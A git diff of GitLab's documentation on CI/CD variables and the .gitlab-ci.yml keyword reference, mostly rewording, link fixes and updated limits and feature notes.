and [`kubectl`](https://kubernetes.io/docs/concepts/configuration/organize-cluster-access-kubeconfig/#the-kubeconfig-environment-variable)
@@ -215,8 +234,8 @@ You can't mask variables that don't meet these requirements.
> Introduced in GitLab 9.3.
Variables can be protected. When a variable is
-protected, it is securely passed to pipelines running on
-[protected branches](../../user/project/protected_branches.md) or [protected tags](../../user/project/protected_tags.md) only. The other pipelines do not get
+protected, it is only passed to pipelines running on
+[protected branches](../../user/project/protected_branches.md) or [protected tags](../../user/project/protected_tags.md). The other pipelines do not get
the protected variable.
To protect a variable:
@@ -227,8 +246,7 @@ To protect a variable:
1. Select the **Protect variable** check box.
1. Click **Update variable**.
-The variable is available for all subsequent pipelines. Protected variables can only
-be updated or viewed by project members with [maintainer permissions](../../user/permissions.md#project-members-permissions).
+The variable is available for all subsequent pipelines.
### Custom variables validated by GitLab
@@ -250,7 +268,7 @@ All variables are set as environment variables in the build environment, and
they are accessible with normal methods that are used to access such variables.
In most cases `bash` or `sh` is used to execute the job script.
-To access environment variables, use the syntax for your Runner's [shell](https://docs.gitlab.com/runner/executors/).
+To access environment variables, use the syntax for your runner's [shell](https://docs.gitlab.com/runner/executors/).
| Shell | Usage |
|----------------------|------------------------------------------|
@@ -413,7 +431,7 @@ script:
You can define per-project or per-group variables
that are set in the pipeline environment. Group-level variables are stored out of
the repository (not in `.gitlab-ci.yml`) and are securely passed to GitLab Runner,
-which makes them available during a pipeline run. For Premium users who do **not** use an external key store or who use GitLab's [integration with HashiCorp Vault](../examples/authenticating-with-hashicorp-vault/index.md), we recommend using group environment variables to store secrets like passwords, SSH keys, and credentials.
+which makes them available during a pipeline run. For Premium users who do **not** use an external key store or who use GitLab's [integration with HashiCorp Vault](../secrets/index.md), we recommend using group environment variables to store secrets like passwords, SSH keys, and credentials.
Group-level variables can be added by:
@@ -445,7 +463,7 @@ To add an instance-level variable:
1. Click the **Add variable** button, and fill in the details:
- **Key**: Must be one line, using only letters, numbers, or `_` (underscore), with no spaces.
- - **Value**: [Since GitLab 13.3](https://gitlab.com/gitlab-org/gitlab/-/issues/220028), 10,000 characters allowed. This is also bounded by the limits of the selected Runner operating system. In GitLab 13.0 to 13.2, 700 characters allowed.
+ - **Value**: [Since GitLab 13.3](https://gitlab.com/gitlab-org/gitlab/-/issues/220028), 10,000 characters allowed. This is also bounded by the limits of the selected runner operating system. In GitLab 13.0 to 13.2, 700 characters allowed.
- **Type**: `File` or `Variable`.
- **Protect variable** (Optional): If selected, the variable is only available in pipelines that run on protected branches or tags.
- **Mask variable** (Optional): If selected, the variable's **Value** is not shown in job logs. The variable is not saved if the value does not meet the [masking requirements](#masked-variable-requirements).
@@ -493,7 +511,7 @@ build:
deploy:
stage: deploy
script:
- - echo $BUILD_VERSION # => hello
+ - echo $BUILD_VERSION # => hello
dependencies:
- build
```
@@ -512,7 +530,7 @@ build:
deploy:
stage: deploy
script:
- - echo $BUILD_VERSION # => hello
+ - echo $BUILD_VERSION # => hello
needs:
- job: build
artifacts: true
@@ -529,6 +547,7 @@ The order of precedence for variables is (from highest to lowest):
and [manual pipeline run variables](#override-a-variable-by-manually-running-a-pipeline).
1. Project-level [variables](#custom-environment-variables) or [protected variables](#protect-a-custom-variable).
1. Group-level [variables](#group-level-environment-variables) or [protected variables](#protect-a-custom-variable).
+1. Instance-level [variables](#instance-level-cicd-environment-variables) or [protected variables](#protect-a-custom-variable).
1. [Inherited environment variables](#inherit-environment-variables).
1. YAML-defined [job-level variables](../yaml/README.md#variables).
1. YAML-defined [global variables](../yaml/README.md#variables).
@@ -608,7 +627,7 @@ Choose the branch you want to run the pipeline for, then add a variable and its
![Override variable value](img/override_variable_manual_pipeline.png)
-The Runner overrides the value previously set and uses the custom
+The runner overrides the value previously set and uses the custom
value for this specific pipeline.
![Manually overridden variable output](img/override_value_via_manual_pipeline_output.png)
@@ -748,7 +767,7 @@ so `&&` is evaluated before `||`.
> - It's deployed behind a feature flag, enabled by default.
> - It's enabled on GitLab.com.
> - It's recommended for production use.
-> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-parenthesis-support-for-variables-core-only). **(CORE ONLY)**
+> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-parenthesis-support-for-variables). **(CORE ONLY)**
It is possible to use parentheses to group conditions. Parentheses have the highest
precedence of all operators. Expressions enclosed in parentheses are evaluated first,
@@ -831,7 +850,7 @@ output **will** contain the content of all your variables and any other
secrets! The output **will** be uploaded to the GitLab server and made visible
in job logs!
-By default, GitLab Runner hides most of the details of what it is doing when
+By default, the runner hides most of the details of what it is doing when
processing a job. This behavior keeps job logs short, and prevents secrets
from being leaked into the log unless your script writes them to the screen.
diff --git a/doc/ci/variables/predefined_variables.md b/doc/ci/variables/predefined_variables.md
index c79ea4b0d05..915041b71a6 100644
--- a/doc/ci/variables/predefined_variables.md
+++ b/doc/ci/variables/predefined_variables.md
@@ -12,7 +12,7 @@ For an introduction on this subject, read through the
Some of the predefined environment variables are available only if a minimum
version of [GitLab Runner](https://docs.gitlab.com/runner/) is used. Consult the table below to find the
-version of Runner required.
+version of GitLab Runner that's required.
NOTE: **Note:**
Starting with GitLab 9.0, we have deprecated some variables. Read the
@@ -43,6 +43,7 @@ Kubernetes-specific environment variables are detailed in the
| `CI_COMMIT_BRANCH` | 12.6 | 0.5 | The commit branch name. Present only when building branches. |
| `CI_COMMIT_TAG` | 9.0 | 0.5 | The commit tag name. Present only when building tags. |
| `CI_COMMIT_TITLE` | 10.8 | all | The title of the commit - the full first line of the message |
+| `CI_COMMIT_TIMESTAMP` | 13.4 | all | The timestamp of the commit in the ISO 8601 format. |
| `CI_CONCURRENT_ID` | all | 11.10 | Unique ID of build execution within a single executor. |
| `CI_CONCURRENT_PROJECT_ID` | all | 11.10 | Unique ID of build execution within a single executor and project. |
| `CI_CONFIG_PATH` | 9.4 | 0.5 | The path to CI configuration file. Defaults to `.gitlab-ci.yml` |
@@ -69,7 +70,7 @@ Kubernetes-specific environment variables are detailed in the
| `CI_JOB_NAME` | 9.0 | 0.5 | The name of the job as defined in `.gitlab-ci.yml` |
| `CI_JOB_STAGE` | 9.0 | 0.5 | The name of the stage as defined in `.gitlab-ci.yml` |
| `CI_JOB_TOKEN` | 9.0 | 1.2 | Token used for authenticating with the [GitLab Container Registry](../../user/packages/container_registry/index.md), downloading [dependent repositories](../../user/project/new_ci_build_permissions_model.md#dependent-repositories), and accessing [GitLab-managed Terraform state](../../user/infrastructure/index.md#gitlab-managed-terraform-state). |
-| `CI_JOB_JWT` | 12.10 | all | RS256 JSON web token that can be used for authenticating with third party systems that support JWT authentication, for example [HashiCorp's Vault](../examples/authenticating-with-hashicorp-vault). |
+| `CI_JOB_JWT` | 12.10 | all | RS256 JSON web token that can be used for authenticating with third party systems that support JWT authentication, for example [HashiCorp's Vault](../secrets/index.md). |
| `CI_JOB_URL` | 11.1 | 0.5 | Job details URL |
| `CI_KUBERNETES_ACTIVE` | 13.0 | all | Included with the value `true` only if the pipeline has a Kubernetes cluster available for deployments. Not included if no cluster is available. Can be used as an alternative to [`only:kubernetes`/`except:kubernetes`](../yaml/README.md#onlykubernetesexceptkubernetes) with [`rules:if`](../yaml/README.md#rulesif) |
| `CI_MERGE_REQUEST_ASSIGNEES` | 11.9 | all | Comma-separated list of username(s) of assignee(s) for the merge request if [the pipelines are for merge requests](../merge_request_pipelines/index.md). Available only if `only: [merge_requests]` or [`rules`](../yaml/README.md#rules) syntax is used and the merge request is created. |
@@ -119,7 +120,7 @@ Kubernetes-specific environment variables are detailed in the
| `CI_RUNNER_EXECUTABLE_ARCH` | all | 10.6 | The OS/architecture of the GitLab Runner executable (note that this is not necessarily the same as the environment of the executor) |
| `CI_RUNNER_ID` | 8.10 | 0.5 | The unique ID of runner being used |
| `CI_RUNNER_REVISION` | all | 10.6 | GitLab Runner revision that is executing the current job |
-| `CI_RUNNER_SHORT_TOKEN` | all | 12.3 | First eight characters of GitLab Runner's token used to authenticate new job requests. Used as Runner's unique ID |
+| `CI_RUNNER_SHORT_TOKEN` | all | 12.3 | First eight characters of the runner's token used to authenticate new job requests. Used as the runner's unique ID |
| `CI_RUNNER_TAGS` | 8.10 | 0.5 | The defined runner tags |
| `CI_RUNNER_VERSION` | all | 10.6 | GitLab Runner version that is executing the current job |
| `CI_SERVER` | all | all | Mark that job is executed in CI environment |
diff --git a/doc/ci/variables/where_variables_can_be_used.md b/doc/ci/variables/where_variables_can_be_used.md
index 2f26fddc808..330b960ca9a 100644
--- a/doc/ci/variables/where_variables_can_be_used.md
+++ b/doc/ci/variables/where_variables_can_be_used.md
@@ -18,13 +18,13 @@ This document describes where and how the different types of variables can be us
There are two places defined variables can be used. On the:
1. GitLab side, in `.gitlab-ci.yml`.
-1. The runner side, in `config.toml`.
+1. The GitLab Runner side, in `config.toml`.
### `.gitlab-ci.yml` file
| Definition | Can be expanded? | Expansion place | Description |
|:-------------------------------------------|:-----------------|:-----------------------|:----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
-| `environment:url` | yes | GitLab | The variable expansion is made by GitLab's [internal variable expansion mechanism](#gitlab-internal-variable-expansion-mechanism).<br/><br/>Supported are all variables defined for a job (project/group variables, variables from `.gitlab-ci.yml`, variables from triggers, variables from pipeline schedules).<br/><br/>Not supported are variables defined in Runner's `config.toml` and variables created in job's `script`. |
+| `environment:url` | yes | GitLab | The variable expansion is made by GitLab's [internal variable expansion mechanism](#gitlab-internal-variable-expansion-mechanism).<br/><br/>Supported are all variables defined for a job (project/group variables, variables from `.gitlab-ci.yml`, variables from triggers, variables from pipeline schedules).<br/><br/>Not supported are variables defined in the GitLab Runner `config.toml` and variables created in the job's `script`. |
| `environment:name` | yes | GitLab | Similar to `environment:url`, but the variables expansion doesn't support the following:<br/><br/>- Variables that are based on the environment's name (`CI_ENVIRONMENT_NAME`, `CI_ENVIRONMENT_SLUG`).<br/>- Any other variables related to environment (currently only `CI_ENVIRONMENT_URL`).<br/>- [Persisted variables](#persisted-variables). |
| `resource_group` | yes | GitLab | Similar to `environment:url`, but the variables expansion doesn't support the following:<br/><br/>- Variables that are based on the environment's name (`CI_ENVIRONMENT_NAME`, `CI_ENVIRONMENT_SLUG`).<br/>- Any other variables related to environment (currently only `CI_ENVIRONMENT_URL`).<br/>- [Persisted variables](#persisted-variables). |
| `variables` | yes | Runner | The variable expansion is made by GitLab Runner's [internal variable expansion mechanism](#gitlab-runner-internal-variable-expansion-mechanism) |
@@ -39,13 +39,13 @@ There are two places defined variables can be used. On the:
### `config.toml` file
NOTE: **Note:**
-You can read more about `config.toml` in the [Runner's docs](https://docs.gitlab.com/runner/configuration/advanced-configuration.html).
+You can read more about `config.toml` in the [GitLab Runner docs](https://docs.gitlab.com/runner/configuration/advanced-configuration.html).
| Definition | Can be expanded? | Description |
|:-------------------------------------|:-----------------|:---------------------------------------------------------------------------------------------------------------------------------------------|
-| `runners.environment` | yes | The variable expansion is made by the Runner's [internal variable expansion mechanism](#gitlab-runner-internal-variable-expansion-mechanism) |
-| `runners.kubernetes.pod_labels` | yes | The Variable expansion is made by the Runner's [internal variable expansion mechanism](#gitlab-runner-internal-variable-expansion-mechanism) |
-| `runners.kubernetes.pod_annotations` | yes | The Variable expansion is made by the Runner's [internal variable expansion mechanism](#gitlab-runner-internal-variable-expansion-mechanism) |
+| `runners.environment` | yes | The variable expansion is made by GitLab Runner's [internal variable expansion mechanism](#gitlab-runner-internal-variable-expansion-mechanism) |
+| `runners.kubernetes.pod_labels` | yes | The Variable expansion is made by GitLab Runner's [internal variable expansion mechanism](#gitlab-runner-internal-variable-expansion-mechanism) |
+| `runners.kubernetes.pod_annotations` | yes | The Variable expansion is made by GitLab Runner's [internal variable expansion mechanism](#gitlab-runner-internal-variable-expansion-mechanism) |
## Expansion mechanisms
@@ -59,7 +59,7 @@ There are three expansion mechanisms:
The expanded part needs to be in a form of `$variable`, or `${variable}` or `%variable%`.
Each form is handled in the same way, no matter which OS/shell will finally handle the job,
-since the expansion is done in GitLab before any Runner will get the job.
+since the expansion is done in GitLab before any runner will get the job.
### GitLab Runner internal variable expansion mechanism
@@ -67,7 +67,7 @@ since the expansion is done in GitLab before any Runner will get the job.
variables from triggers, pipeline schedules, and manual pipelines.
- Not supported: variables defined inside of scripts (e.g., `export MY_VARIABLE="test"`).
-The Runner uses Go's `os.Expand()` method for variable expansion. It means that it will handle
+The runner uses Go's `os.Expand()` method for variable expansion. It means that it will handle
only variables defined as `$variable` and `${variable}`. What's also important, is that
the expansion is done only once, so nested variables may or may not work, depending on the
ordering of variables definitions.
diff --git a/doc/ci/yaml/README.md b/doc/ci/yaml/README.md
index 8d3ba1992b9..40df9c7c986 100644
--- a/doc/ci/yaml/README.md
+++ b/doc/ci/yaml/README.md
@@ -34,8 +34,9 @@ We have complete examples of configuring pipelines:
> from 30 days to under 8 hours with GitLab.
NOTE: **Note:**
-If you have a [mirrored repository that GitLab pulls from](../../user/project/repository/repository_mirroring.md#pulling-from-a-remote-repository-starter),
+If you have a [mirrored repository that GitLab pulls from](../../user/project/repository/repository_mirroring.md#pulling-from-a-remote-repository),
you may need to enable pipeline triggering. Go to your project's
+
**Settings > Repository > Pull from a remote repository > Trigger pipelines for mirror updates**.
## Introduction
@@ -322,7 +323,7 @@ pipelines and merge request pipelines don't run, as there's no rule allowing the
```yaml
workflow:
rules:
- - if: $CI_COMMIT_REF_NAME =~ /-wip$/
+ - if: $CI_COMMIT_MESSAGE =~ /-wip$/
when: never
- if: '$CI_PIPELINE_SOURCE == "push"'
```
@@ -363,7 +364,7 @@ makes your pipelines run for branches and tags.
Branch pipeline status will be displayed within merge requests that use that branch
as a source, but this pipeline type does not support any features offered by
[Merge Request Pipelines](../merge_request_pipelines/) like
-[Pipelines for Merge Results](../merge_request_pipelines/#pipelines-for-merged-results-premium)
+[Pipelines for Merge Results](../merge_request_pipelines/#pipelines-for-merged-results)
or [Merge Trains](../merge_request_pipelines/pipelines_for_merged_results/merge_trains/).
Use this template if you are intentionally avoiding those features.
@@ -490,7 +491,7 @@ include:
file: '/templates/.gitlab-ci-template.yml'
- project: 'my-group/my-project'
- ref: 787123b47f14b552955ca2786bc9542ae66fee5b # Git SHA
+ ref: 787123b47f14b552955ca2786bc9542ae66fee5b # Git SHA
file: '/templates/.gitlab-ci-template.yml'
```
@@ -982,7 +983,7 @@ If you do want to include the `rake test`, see [`before_script` and `after_scrip
possible to inherit from regular jobs as well.
`extends` supports multi-level inheritance. You should avoid using more than 3 levels,
-but you can use as many as ten.
+but you can use as many as eleven.
The following example has two levels of inheritance:
```yaml
@@ -1335,6 +1336,8 @@ expression string per rule, rather than an array of them. Any set of expressions
evaluated can be [conjoined into a single expression](../variables/README.md#conjunction--disjunction)
by using `&&` or `||`, and use
the [variable matching syntax](../variables/README.md#syntax-of-environment-variable-expressions).
+Unlike variables in [`script`](../variables/README.md#syntax-of-environment-variables-in-job-scripts)
+sections, variables in rules expressions are always formatted as `$VARIABLE`.
`if:` clauses are evaluated based on the values of [predefined environment variables](../variables/predefined_variables.md)
or [custom environment variables](../variables/README.md#custom-environment-variables).
@@ -1350,7 +1353,7 @@ job:
- if: '$CI_MERGE_REQUEST_SOURCE_BRANCH_NAME =~ /^feature/'
when: manual
allow_failure: true
- - if: '$CI_MERGE_REQUEST_SOURCE_BRANCH_NAME' # Checking for the presence of a variable is possible
+ - if: '$CI_MERGE_REQUEST_SOURCE_BRANCH_NAME' # Checking for the presence of a variable is possible
```
Some details regarding the logic that determines the `when` for the job:
@@ -1434,7 +1437,12 @@ the files changed by Git push events.
`rules: changes` works exactly the same way as [`only: changes` and `except: changes`](#onlychangesexceptchanges),
accepting an array of paths. Similarly, it always returns true if there is no
-Git push event, for example, when a new tag is created. It should only be used for branch pipelines or merge request pipelines.
+Git push event, for example, when a new tag is created. It's recommended to use it
+only with branch pipelines or merge request pipelines. For example, it's common to
+use `rules: changes` with one of the following `if` clauses:
+
+- `if: $CI_COMMIT_BRANCH`
+- `if: '$CI_PIPELINE_SOURCE == "merge_request_event"'`
For example:
@@ -1526,7 +1534,7 @@ same rule.
In the following example:
-- If the dockerfile or any file in `/docker/scripts` has changed, and var=blah,
+- If the `Dockerfile` file or any file in `/docker/scripts` has changed, and var=blah,
then the job runs manually
- Otherwise, the job isn't included in the pipeline.
@@ -1535,11 +1543,11 @@ docker build:
script: docker build -t my-image:$CI_COMMIT_REF_SLUG .
rules:
- if: '$VAR == "string value"'
- changes: # Will include the job and set to when:manual if any of the follow paths match a modified file.
+ changes: # Will include the job and set to when:manual if any of the follow paths match a modified file.
- Dockerfile
- docker/scripts/*
when: manual
- # - when: never would be redundant here, this is implied any time rules are listed.
+ # - when: never would be redundant here, this is implied any time rules are listed.
```
Keywords such as `branches` or `refs` that are currently available for
@@ -1653,7 +1661,7 @@ job:
- /^release/.*$/@gitlab-org/gitlab
```
-The above example will run `job` for all branches on `gitlab-org/gitlab`,
+The above example runs `job` for all branches on `gitlab-org/gitlab`,
except `master` and those with names prefixed with `release/`.
If a job does not have an `only` rule, `only: ['branches', 'tags']` is set by
@@ -1736,12 +1744,13 @@ Four keys are available:
If you use multiple keys under `only` or `except`, the keys will be evaluated as a
single conjoined expression. That is:
-- `only:` means "include this job if all of the conditions match".
-- `except:` means "exclude this job if any of the conditions match".
+- `only:` includes the job if **all** of the keys have at least one condition that matches.
+- `except:` excludes the job if **any** of the keys have at least one condition that matches.
-With `only`, individual keys are logically joined by an AND:
+With `only`, individual keys are logically joined by an `AND`. A job is added to
+the pipeline if the following is true:
-> (any of refs) AND (any of variables) AND (any of changes) AND (if Kubernetes is active)
+- `(any listed refs are true) AND (any listed variables are true) AND (any listed changes are true) AND (any chosen Kubernetes status matches)`
In the example below, the `test` job will `only` be created when **all** of the following are true:
@@ -1761,17 +1770,14 @@ test:
kubernetes: active
```
-`except` is implemented as a negation of this complete expression:
-
-> NOT((any of refs) AND (any of variables) AND (any of changes) AND (if Kubernetes is active))
+With `except`, individual keys are logically joined by an `OR`. A job is **not**
+added if the following is true:
-This means the keys are treated as if joined by an OR. This relationship could be described as:
-
-> (any of refs) OR (any of variables) OR (any of changes) OR (if Kubernetes is active)
+- `(any listed refs are true) OR (any listed variables are true) OR (any listed changes are true) OR (a chosen Kubernetes status matches)`
In the example below, the `test` job will **not** be created when **any** of the following are true:
-- The pipeline runs for the `master`.
+- The pipeline runs for the `master` branch.
- There are changes to the `README.md` file in the root directory of the repository.
```yaml
@@ -1868,16 +1874,18 @@ job1:
Using the `changes` keyword with `only` or `except` makes it possible to define if
a job should be created based on files modified by a Git push event.
-This means the `only:changes` policy is useful for pipelines where:
+The `only:changes` policy is only useful for pipelines triggered by the following
+refs:
-- `$CI_PIPELINE_SOURCE == 'push'`
-- `$CI_PIPELINE_SOURCE == 'merge_request_event'`
-- `$CI_PIPELINE_SOURCE == 'external_pull_request_event'`
+- `branches`
+- `external_pull_requests`
+- `merge_requests` (see additional details about [using `only:changes` with pipelines for merge requests](#using-onlychanges-with-pipelines-for-merge-requests))
-If there is no Git push event, such as for pipelines with
-[sources other than the three above](../variables/predefined_variables.md),
-`changes` can't determine if a given file is new or old, and will always
-return true.
+CAUTION: **Caution:**
+In pipelines with [sources other than the three above](../variables/predefined_variables.md)
+`changes` can't determine if a given file is new or old and always returns `true`.
+This includes pipelines triggered by pushing new tags. Configuring jobs to use `only: changes`
+with other `only: refs` keywords is possible, but not recommended.
A basic example of using `only: changes`:
@@ -1885,6 +1893,8 @@ A basic example of using `only: changes`:
docker build:
script: docker build -t my-image:$CI_COMMIT_REF_SLUG .
only:
+ refs:
+ - branches
changes:
- Dockerfile
- docker/scripts/*
@@ -1913,13 +1923,17 @@ in double quotes or GitLab will fail to parse the `.gitlab-ci.yml`. For example:
test:
script: npm run test
only:
+ refs:
+ - branches
changes:
- "*.json"
- "**/*.sql"
```
The following example will skip the `build` job if a change is detected in any file
-in the root directory of the repository with a `.md` extension:
+in the root directory of the repository with a `.md` extension. This mean that if you change multiple files,
+but only one file is a `.md` file, the `build` job will still be skipped and will
+not run for the other files.
```yaml
build:
@@ -2072,9 +2086,9 @@ This example creates four paths of execution:
because of `only/except` rules or otherwise does not exist, the
pipeline will be created with YAML error.
- The maximum number of jobs that a single job can need in the `needs:` array is limited:
- - For GitLab.com, the limit is ten. For more information, see our
+ - For GitLab.com, the limit is 50. For more information, see our
[infrastructure issue](https://gitlab.com/gitlab-com/gl-infra/infrastructure/-/issues/7541).
- - For self-managed instances, the limit is: 50. This limit [can be changed](#changing-the-needs-job-limit-core-only).
+ - For self-managed instances, the limit is: 50. This limit [can be changed](#changing-the-needs-job-limit).
- If `needs:` refers to a job that is marked as `parallel:`.
the current job will depend on all parallel jobs created.
- `needs:` is similar to `dependencies:` in that it needs to use jobs from prior stages,
@@ -2190,10 +2204,7 @@ build_job:
```
Environment variables support for `project:`, `job:`, and `ref` was [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/202093)
-in GitLab 13.3. This is under development, but it is ready for production use. It is deployed
-behind the `ci_expand_names_for_cross_pipeline_artifacts` feature flag, which is **disabled by default**.
-[GitLab administrators with access to the GitLab Rails console](../../administration/feature_flags.md)
-can enable it for your instance.
+in GitLab 13.3. [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/235761) in GitLab 13.4.
For example:
@@ -2214,14 +2225,14 @@ Downloading artifacts from jobs that are run in [`parallel:`](#parallel) is not
### `tags`
-`tags` is used to select specific runners from the list of all runners that are
-allowed to run this project.
+Use `tags` to select a specific runner from the list of all runners that are
+available for the project.
-During the registration of a runner, you can specify the runner's tags, for
+When you register a runner, you can specify the runner's tags, for
example `ruby`, `postgres`, `development`.
-`tags` allow you to run jobs with runners that have the specified tags
-assigned to them:
+In this example, the job is run by a runner that
+has both `ruby` AND `postgres` tags defined.
```yaml
job:
@@ -2230,12 +2241,9 @@ job:
- postgres
```
-The specification above, will make sure that `job` is built by a runner that
-has both `ruby` AND `postgres` tags defined.
-
-Tags are also a great way to run different jobs on different platforms, for
-example, given an OS X runner with tag `osx` and Windows runner with tag
-`windows`, the following jobs run on respective platforms:
+You can use tags to run different jobs on different platforms. For
+example, if you have an OS X runner with tag `osx` and a Windows runner with tag
+`windows`, you can run a job on each platform:
```yaml
windows job:
@@ -2257,7 +2265,7 @@ osx job:
### `allow_failure`
-`allow_failure` allows a job to fail without impacting the rest of the CI
+Use `allow_failure` when you want to let a job fail without impacting the rest of the CI
suite.
The default value is `false`, except for [manual](#whenmanual) jobs using the
`when: manual` syntax, unless using [`rules:`](#rules) syntax, where all jobs
@@ -2353,12 +2361,12 @@ cleanup_job:
when: always
```
-The above script will:
+The above script:
-1. Execute `cleanup_build_job` only when `build_job` fails.
-1. Always execute `cleanup_job` as the last step in pipeline regardless of
+1. Executes `cleanup_build_job` only when `build_job` fails.
+1. Always executes `cleanup_job` as the last step in pipeline regardless of
success or failure.
-1. Allow you to manually execute `deploy_job` from GitLab's UI.
+1. Executes `deploy_job` when you run it manually in the GitLab UI.
#### `when:manual`
@@ -2395,7 +2403,7 @@ Manual actions are considered to be write actions, so permissions for
a user wants to trigger an action. In other words, in order to trigger a manual
action assigned to a branch that the pipeline is running for, the user needs to
have the ability to merge to this branch. It's possible to use protected environments
-to more strictly [protect manual deployments](#protecting-manual-jobs-premium) from being
+to more strictly [protect manual deployments](#protecting-manual-jobs) from being
run by unauthorized users.
NOTE: **Note:**
@@ -2452,7 +2460,7 @@ You can set the period with `start_in` key. The value of `start_in` key is an el
provided. `start_in` key must be less than or equal to one week. Examples of valid values include:
- `'5'`
-- `10 seconds`
+- `5 seconds`
- `30 minutes`
- `1 day`
- `1 week`
@@ -2796,10 +2804,10 @@ Since the cache is shared between jobs, if you're using different
paths for different jobs, you should also set a different `cache:key`
otherwise cache content can be overwritten.
-The `key` directive allows you to define the affinity of caching between jobs,
-allowing to have a single cache for all jobs, cache per-job, cache per-branch
+The `key` parameter defines the affinity of caching between jobs,
+to have a single cache for all jobs, cache per-job, cache per-branch
or any other way that fits your workflow. This way, you can fine tune caching,
-allowing you to cache data between different jobs or even different branches.
+including caching data between different jobs or even different branches.
The `cache:key` variable can use any of the
[predefined variables](../variables/README.md). The default key, if not
@@ -2863,9 +2871,9 @@ use the new cache, instead of rebuilding the dependencies.
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/18986) in GitLab v12.5.
-The `prefix` parameter adds extra functionality to `key:files` by allowing the key to
-be composed of the given `prefix` combined with the SHA computed for `cache:key:files`.
-For example, adding a `prefix` of `test`, will cause keys to look like: `test-feef9576d21ee9b6a32e30c5c79d0a0ceb68d1e5`.
+When you want to combine a prefix with the SHA computed for `cache:key:files`,
+use the `prefix` parameter with `key:files`.
+For example, if you add a `prefix` of `test`, the resulting key is: `test-feef9576d21ee9b6a32e30c5c79d0a0ceb68d1e5`.
If neither file was changed in any commits, the prefix is added to `default`, so the
key in the example would be `test-default`.
@@ -2925,8 +2933,8 @@ rspec:
> Introduced in GitLab 9.4.
The default behavior of a caching job is to download the files at the start of
-execution, and to re-upload them at the end. This allows any changes made by the
-job to be persisted for future runs, and is known as the `pull-push` cache
+execution, and to re-upload them at the end. Any changes made by the
+job are persisted for future runs. This behavior is known as the `pull-push` cache
policy.
If you know the job does not alter the cached files, you can skip the upload step
@@ -2979,7 +2987,8 @@ skip the download step.
attached to the job when it [succeeds, fails, or always](#artifactswhen).
The artifacts will be sent to GitLab after the job finishes and will
-be available for download in the GitLab UI.
+be available for download in the GitLab UI provided that the size is not
+larger than the [maximum artifact size](../../user/gitlab_com/index.md#gitlab-cicd).
[Read more about artifacts](../pipelines/job_artifacts.md).
@@ -3083,7 +3092,7 @@ For example, to match a single file:
```yaml
test:
- script: [ "echo 'test' > file.txt" ]
+ script: ["echo 'test' > file.txt"]
artifacts:
expose_as: 'artifact 1'
paths: ['file.txt']
@@ -3096,7 +3105,7 @@ An example that will match an entire directory:
```yaml
test:
- script: [ "mkdir test && echo 'test' > test/file.txt" ]
+ script: ["mkdir test && echo 'test' > test/file.txt"]
artifacts:
expose_as: 'artifact 1'
paths: ['test/']
@@ -3225,7 +3234,7 @@ Send all untracked files but [exclude](#artifactsexclude) `*.txt`:
artifacts:
untracked: true
exclude:
- - *.txt
+ - "*.txt"
```
#### `artifacts:when`
@@ -3253,10 +3262,12 @@ job:
> Introduced in GitLab 8.9 and GitLab Runner v1.3.0.
-`expire_in` allows you to specify how long artifacts should live before they
-expire and are therefore deleted, counting from the time they are uploaded and
+Use `expire_in` to specify how long artifacts are active before they
+expire and are deleted.
+
+The expiration time period begins when the artifact is uploaded and
stored on GitLab. If the expiry time is not defined, it defaults to the
-[instance wide setting](../../user/admin_area/settings/continuous_integration.md#default-artifacts-expiration-core-only)
+[instance wide setting](../../user/admin_area/settings/continuous_integration.md#default-artifacts-expiration)
(30 days by default).
To override the expiration date and protect artifacts from being automatically deleted:
@@ -3271,7 +3282,8 @@ and are not accessible anymore.
The value of `expire_in` is an elapsed time in seconds, unless a unit is
provided. Examples of valid values:
-- `42`
+- `'42'`
+- `42 seconds`
- `3 mins 4 sec`
- `2 hrs 20 min`
- `2h20min`
@@ -3289,10 +3301,10 @@ job:
```
NOTE: **Note:**
-Since [GitLab 13.0](https://gitlab.com/gitlab-org/gitlab/-/issues/16267), the latest
-artifacts for refs can be locked against deletion, and kept regardless of the expiry time. This feature is disabled
-by default and is not ready for production use. It can be enabled for testing by
-enabling the `:keep_latest_artifact_for_ref` and `:destroy_only_unlocked_expired_artifacts` [feature flags](../../administration/feature_flags.md).
+The latest artifacts for refs are locked against deletion, and kept regardless of
+the expiry time. [Introduced in](https://gitlab.com/gitlab-org/gitlab/-/issues/16267)
+GitLab 13.0 behind a disabled feature flag, and [made the default behavior](https://gitlab.com/gitlab-org/gitlab/-/issues/229936)
+in GitLab 13.4.
#### `artifacts:reports`
@@ -3306,17 +3318,17 @@ These are the available report types:
|--------------------------------------------------------------------------------------------------------------------------------------|-------------|
| [`artifacts:reports:cobertura`](../pipelines/job_artifacts.md#artifactsreportscobertura) | The `cobertura` report collects Cobertura coverage XML files. |
| [`artifacts:reports:codequality`](../pipelines/job_artifacts.md#artifactsreportscodequality) | The `codequality` report collects CodeQuality issues. |
-| [`artifacts:reports:container_scanning`](../pipelines/job_artifacts.md#artifactsreportscontainer_scanning-ultimate) **(ULTIMATE)** | The `container_scanning` report collects Container Scanning vulnerabilities. |
-| [`artifacts:reports:dast`](../pipelines/job_artifacts.md#artifactsreportsdast-ultimate) **(ULTIMATE)** | The `dast` report collects Dynamic Application Security Testing vulnerabilities. |
-| [`artifacts:reports:dependency_scanning`](../pipelines/job_artifacts.md#artifactsreportsdependency_scanning-ultimate) **(ULTIMATE)** | The `dependency_scanning` report collects Dependency Scanning vulnerabilities. |
+| [`artifacts:reports:container_scanning`](../pipelines/job_artifacts.md#artifactsreportscontainer_scanning) **(ULTIMATE)** | The `container_scanning` report collects Container Scanning vulnerabilities. |
+| [`artifacts:reports:dast`](../pipelines/job_artifacts.md#artifactsreportsdast) **(ULTIMATE)** | The `dast` report collects Dynamic Application Security Testing vulnerabilities. |
+| [`artifacts:reports:dependency_scanning`](../pipelines/job_artifacts.md#artifactsreportsdependency_scanning) **(ULTIMATE)** | The `dependency_scanning` report collects Dependency Scanning vulnerabilities. |
| [`artifacts:reports:dotenv`](../pipelines/job_artifacts.md#artifactsreportsdotenv) | The `dotenv` report collects a set of environment variables. |
| [`artifacts:reports:junit`](../pipelines/job_artifacts.md#artifactsreportsjunit) | The `junit` report collects JUnit XML files. |
